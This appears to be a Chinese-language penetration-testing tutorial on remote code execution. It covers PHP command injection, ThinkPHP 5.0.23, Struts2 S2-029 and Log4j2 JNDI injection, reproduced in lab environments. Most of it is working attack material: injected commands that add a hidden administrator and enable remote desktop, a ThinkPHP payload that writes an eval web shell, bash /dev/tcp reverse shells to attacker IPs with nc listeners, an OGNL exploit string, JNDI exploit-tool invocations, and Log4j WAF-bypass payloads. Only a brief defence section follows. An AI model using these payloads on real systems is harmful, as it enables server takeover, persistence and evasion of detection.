一、RCE概述
(一)定义
RCE指攻击者可以通过远程方式在目标系统上执行恶意代码的漏洞或攻击技术,范围广泛,包括代码执行、文件包含、反序列化、命令执行、写文件Getshell等情况。
(二)危害
- 攻击者可继承Web服务程序权限执行系统命令。
- 能反弹shell,进而控制整个网站甚至服务器。
- 可进一步进行内网渗透。
(三)常见漏洞类型
- 远程代码注入
- SQL注入、OS注入、XML实体注入等。
- 文件上传
- 反序列化
- 远程命令执行
- 远程文件包含
(四)命令执行漏洞成因
- 应用系统设计需提供远程命令操作接口,但未做严格安全控制。
- Web应用脚本代码执行命令时过滤不严,导致可注入恶意代码。
二、命令执行相关知识
(一)常见函数(以PHP为例)
- exec
- 返回值为命令执行结果的最后一行内容,失败时返回false。
- 示例:
<?php $b = exec('whoami'); var_dump($b);?>
- system
- 执行结果输出并以字符串返回,若PHP运行在服务器模块中,还会自动刷新web服务器输出缓存,执行失败返回false。
- 示例:
<?php system('whoami');?>
- passthru
- 执行外部程序并显示原始输出,适用于Unix命令输出二进制数据且需直接传送到浏览器的情况。
- 示例:
<?php passthru('whoami');?>
- shell_exec
- 通过shell执行命令并将完整输出以字符串方式返回。
- 示例:
<?php var_dump(shell_exec('ipconfig'));?>
- 反引号(`)
- shell_exec()函数的变体,可执行命令。
- 示例:
<?php echo
whoami;?>
(二)工作原理
攻击者通过Web页面提交恶意执行脚本或程序,利用应用系统中未严格控制的命令操作接口,使服务器执行恶意指令,从而实现控制、入侵或破坏目的。
(三)利用条件
- 应用调用执行系统命令的函数。
- 将用户输入作为系统命令参数拼接到命令行中。
- 未对用户输入进行过滤或过滤不严。
(四)漏洞分类
- 代码层过滤不严
- 商业应用核心代码封装在二进制文件中,通过system函数调用系统漏洞造成命令注入。
- 如bash破壳漏洞(CVE - 2014 - 6271)。
- 调用第三方组件存在漏洞
- WordPress中ImageMagick组件、JAVA中struts2等框架、ThinkPHP等存在命令执行漏洞。
(五)利用方式
- 利用操作系统中的命令连接符(如&、|、||等),在未指定绝对路径情况下执行恶意命令。
- 常见特殊字符利用方式(以Windows和Linux为例)
- Windows
- |:直接执行后面的语句(如
ping 127.0.0.1|whoami
)。 - ||:前面出错执行后面的(如
ping2|whoami
)。 - &:前面的语句为假则直接执行后面的,前面可真可假(如
ping 127.0.0.1&whoami
)。 - &&:前面的语句为假则直接出错,后面的也不执行,前面只能为真(如
ping 127.0.0.1&&whoami
)。
- |:直接执行后面的语句(如
- Linux
- ,:前面的执行完执行后面的(如
ping 127.0.0.1,whoami
)。 - |:管道符,显示后面的执行结果(如
ping 127.0.0.1|whoami
)。 - ||:当前面的执行出错时执行后面的(如
ping1|whoami
)。 - &:前面的语句为假则直接执行后面的,前面可真可假(如
ping 127.0.0.1&whoami
)。 - &&:前面的语句为假则直接出错,后面的也不执行,前面只能为真(如
ping 127.0.0.1&&whoami
)。
- ,:前面的执行完执行后面的(如
- Windows
(六)常用命令
- Windows
- dir:查看文件目录。
- ipconfig:查看Windows的IP地址。
- arp - a:查看ARP缓存表。
- calc:在命令行打开计算器。
- regedit:打开注册表。
- netstat - ano:查看开放的端口信息。
- Linux
- cat /etc/passwd:查看passwd文件。
- id:查看该用户的ID号。
- groups:查看用户所属的组。
- cat /etc/group:查看组信息。
- whoami:查看当前用户。
- pwd:查看当前路径。
- uname - a:查看主机信息。
- cat /etc/issue:查看主机的配置信息。
- netstat - pantu:查看开放的端口信息。
- netstat - nr:查看路由信息。
(七)靶场测试(以DVWA为例)
- DVWA命令执行分析(low.php)
- 代码通过REQUEST获取POST、GET提交的数据,根据操作系统类型执行ping命令,未对输入参数进行过滤。
- 可利用特殊字符执行多条命令,如
127.0.0.1&&whoami
等。
- 命令执行任务
- 创建用户:
127.0.0.1&net user c /add
。 - 将用户添加到管理员组:
127.0.0.1&net localgroup Administrators c /add
。 - 激活用户:
127.0.0.1&net user c /active:yes
。 - 开启远程管理服务(修改注册表):
127.0.0.1 ® add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
。
- 创建用户:
(八)防御措施
- 尽量少用执行命令的函数或直接禁用。
- 参数值尽量用引号包括。
- 使用动态函数前,确保函数是指定函数之一。
- 进入执行命令的函数/方法前,对参数过滤,对敏感字符转义。
三、Thinkphp框架漏洞
(一)Thinkphp框架简介
- 免费开源、快速简单的面向对象轻量级PHP开发框架,用于敏捷WEB应用和企业应用开发。
- 核心版本有ThinkPHP 2系列、3系列、5系列、6系列,其中ThinkPHP 5系列使用较多,ThinkPHP 3系列历史用户较多,ThinkPHP 2和3系列已停止维护。
(二)Thinkphp5.0.23远程代码执行漏洞
- 漏洞成因
- 框架底层对控制器名过滤不严,攻击者可通过url调用内部敏感函数,导致getshell漏洞。
- 漏洞影响范围
- ThinkPHP5.0.0 - 5.0.23版本。
- 利用方式
- 示例POC(Windows):
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
。 - 实验步骤:
- 启动靶场,查看实验环境。
- 利用system函数远程命令执行,如通过
phpinfo
函数查看信息(_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=phpinfo
)。 - 写入shell(
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php @eval($_POST[123]);?>" > shell.php
),并使用菜刀连接。 - 反弹shell(需进行url特殊符号编码):
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=/bin/bash+c+"bash%20-i%3E%26%20%2Fdev%2Ftcp%2F192.168.188.116%2F9999%200%3E%261"
。
- 示例POC(Windows):
(三)Thinkphp反弹shell
- nc在攻击机上开启监听(如
nc -lvnp 9999
)。 - 在目标网站存在漏洞处执行反弹shell的POC。
- 反弹shell成功后,攻击机可远程连接目标网站。
(四)Thinkphp漏洞复现注意事项
- 部分字符url编码不编码均可,但在某些环境下可能需要编码。
- 不同操作系统下POC可能略有不同。
四、Struts2框架漏洞
(一)Struts2框架简介
- apache项目下的web框架,广泛应用于互联网、政府、企业门户网站。
- 框架分为核心控制器FilterDispatcher、业务控制器Action和企业业务逻辑组件。
(二)漏洞介绍
- 根源是引入OGNL表达式使框架具有动态性,但也导致了远程代码执行漏洞。
- 随着框架补丁完善,挖掘新漏洞变难,目前主要用于渗透测试中碰碰运气或攻击内网未打补丁系统。
(三)漏洞原理
- OGNL表达式可获取运行变量值并执行函数调用,若恶意请求参数进入ognl执行流程,会导致任意代码执行。
- 框架执行恶意用户传入的OGNL表达式,造成多种危害,如命令执行、服务器文件操作等。
(四)框架特征
- URL接口地址以“.action”或“.do”结尾。
- 地址中包含“!”符号。
- 应用所在目录/WEB - INF/lib/下存在struts2 - core - 2..**.jar或xwork - core - 2..**.jar格式的jar文件。
(五)S2 - 029漏洞复现
- 原理
- Struts2标签库使用OGNL表达式访问ActionContext对象数据,将ActionContext设为OGNL上下文并加入根对象,解析标签值时执行OGNL表达式,从而可利用其进行远程代码执行。
- 影响版本
- Struts 2.0.0 - 2.3.24.1(不包括2.3.20.3)。
- 复现步骤
- 拉取漏洞环境镜像(
docker pull medicean/vulapps:s_struts2_s2 - 029
)。 - 启动漏洞环境(
docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2 - 029
)。 - 访问
xxx.xxx.xxx.xxx:8080/default.action
并添加“message”参数。
- 拉取漏洞环境镜像(
(六)漏洞利用
- 工具利用
- 如Liqun工具箱等,输入目标URL、选择漏洞编号、提交方式,输入要执行的命令(如
whoami
)进行检测。
- 如Liqun工具箱等,输入目标URL、选择漏洞编号、提交方式,输入要执行的命令(如
- 手工利用
- 示例POC:
(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess'] =true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23 _memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime(). exec('id').getInputStream()))
(注意url编码)。
- 示例POC:
五、Log4j2框架漏洞
(一)漏洞背景
- 2021年11月24日,阿里云安全团队报告该漏洞,由于Log4j2某些功能递归解析,攻击者可构造恶意请求触发远程代码执行漏洞,影响广泛,涉及Apache Struts2、Apache Solr等多个组件。
- 2021年12月9日,国内机构监测并通报,因漏洞可使未认证用户远程执行任意代码,威胁等级严重。
(二)影响版本
Log4j2.x <= 2.14.1。
(三)漏洞原理
- Log4j2组件处理日志记录时存在JNDI注入缺陷,攻击者通过构造恶意数据触发解析缺陷,实现任意代码执行。
- Log4j2默认支持解析ldap/rmi协议,会从ldap服务端获取Class文件并加载执行,攻击者利用此特性,通过构造特殊请求(如
${jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp}
)触发漏洞。
(四)JNDI简介
- JNDI(Java Naming and Directory Interface)是为Java应用程序提供命名和目录功能的API接口。
- 命名服务提供键值对绑定功能,目录服务是特殊命名服务,可对目录对象进行绑定、查询和属性操作,JNDI抽象统一了对各种目录服务(如LDAP、RMI、DNS)的访问接口。
(五)LDAP简介
- LDAP(Lightweight Directory Access Protocol)是轻型目录访问协议,可理解为简单存储数据的数据库。
- 有客户端和服务器端,服务器端存放资源,客户端用于查询等操作,默认端口1389。
(六)漏洞利用
- 反弹shell操作(以vulhub靶场为例)
- 访问
http://xxxxxx:8983/
和http://xxxxxx:8983/solr/admin/cores?action=${jndi:ldap://xxxxxx.dnslog.cn}
进行漏洞探测。 - 运行JNDI - Injection - Exploit - 1.0 - SNAPSHOT - all.jar(或使用其他版本工具)。
- 构造反弹shell命令(如
/bin/bash -i >& /dev/tcp/192.168.179.128/7777 0>&1
,并进行base64编码),启动JNDI - Injection - Exploit时指定相关参数(如java -jar JNDI - Injection - Exploit - 1.0 - SNAPSHOT - all.jar -C "bash -c {echo, L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTc5LjEyOC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.179.128"
),同时在Kali另一个终端开启nc监听(如nc -lvvp 7777
)。
- 访问
- 漏洞复现步骤
- 拉取docker环境(
docker pull vulfocus/log4j2 - rce - 2021 - 12 - 09
)。 - 启动环境并查看镜像(
docker images
),启动并端口映射(docker run -d -p 8080:8080 vulfocus/log4j2 - rce - 2021 - 12 - 09
)。 - 生成DNSlog并替换进payload(如
${jndi:ldap://DNSLog/exp}
),发送数据给靶机,刷新DNSLog页面查询记录,若有记录说明存在漏洞。 - 利用工具(如
java -jar JNDIExploit - 1.2 - SNAPSHOT.jar -i 192.168.188.132
)同时启动相关端口,构造反弹shell的POC(如${jndi:ldap://192.168.188.132:1389/TomcatBypass/TomcatEcho}
,并进行url编码),执行命令(如whoami
)。
- 拉取docker环境(
- WAF绕过技巧
- Log4j2支持变量嵌套解析,可通过构造特殊格式的payload绕过WAF检测,如
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://xxx.dnslog.cn/poc}
等。
- Log4j2支持变量嵌套解析,可通过构造特殊格式的payload绕过WAF检测,如